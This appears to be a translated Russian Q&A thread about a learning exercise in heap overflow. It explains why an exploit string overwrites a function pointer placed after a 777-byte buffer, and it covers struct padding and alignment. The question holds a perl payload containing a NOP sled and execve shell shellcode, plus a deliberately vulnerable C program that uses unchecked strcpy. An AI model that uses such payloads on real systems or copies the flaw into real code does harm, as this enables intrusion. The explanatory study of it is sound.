2015-12-14 9 views
0

При попытке выполнить базовую атаку кучи я все понимаю, кроме размера входной строки. Следующий код может быть использован с использованием perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"' в качестве аргумента для программы. Используемый шеллкод имеет длину 21 байт. Размер общей строки здесь составляет 785 байт, что составляет 777 буфера + 4 того, что я не знаю, и 4 указателя функции, который мы переопределяем.Переполнение кучи - Структура кучи

Я прочитал here, что 4 байта:

Указатель отслеживает верхнюю часть кучи, похожий на указатель стека стека

Является ли мое предположение верно?

#include <stdio.h> 
#include <unistd.h> 

void greetUser(char *s) { 
    printf("Hello %s!\n", s); 
} 

struct data_t { 
    char buf[777]; 
    void (*fp)(char *); 
} somedata; 

int main(int argc, char **argv) { 
    somedata.fp = &greetUser; 

    if(argc < 2) { 
    printf("Usage: %s YourName\n", argv[0]); 
    exit(1); 
    } 

    strcpy(somedata.buf, argv[1]); 
    (somedata.fp)(somedata.buf); 

    return 0; 
} 

ответ

2

Нет, это неверно. Вы просто должны переливаться 784 байта:

char buf[777];  // 777 bytes 
<padding>   // usually 7 bytes to have fp 8-byte-aligned 
void (*fp)(char *); // 8 bytes function pointer 

на 64-битных систем. В 32-битных системах fp должен быть выровнен по 4 байта (следовательно, fp запускает 780 байт после начала структуры)

+0

Можете ли вы также объяснить, почему работает выше код (с добавленными 4 байтами) и не без 4 байтов ? – Whitebird

+0

Как я уже сказал, первые 777 байт заполняют массив buf [777]. Следующие 3 или 7 байтов (в зависимости от вашей архитектуры) перезаписывают дополнение в структуре, которое правильно выравнивает указатель fp. Перезапись прокладки не имеет никакого эффекта, поскольку данные не используются. Наконец, после того, как все последующие байты скопировали, перепишите указатель на функцию fp (который является либо 4, либо 8 байтами, опять же в зависимости от того, используете ли вы ia32 или ia64) – Ctx

+1

Кстати, я был бы удивлен, если эксплойт действительно работал, поскольку strcpy останавливает копирование в первом 0-байте (который является первым байтом вашего обратного адреса) – Ctx

Смежные вопросы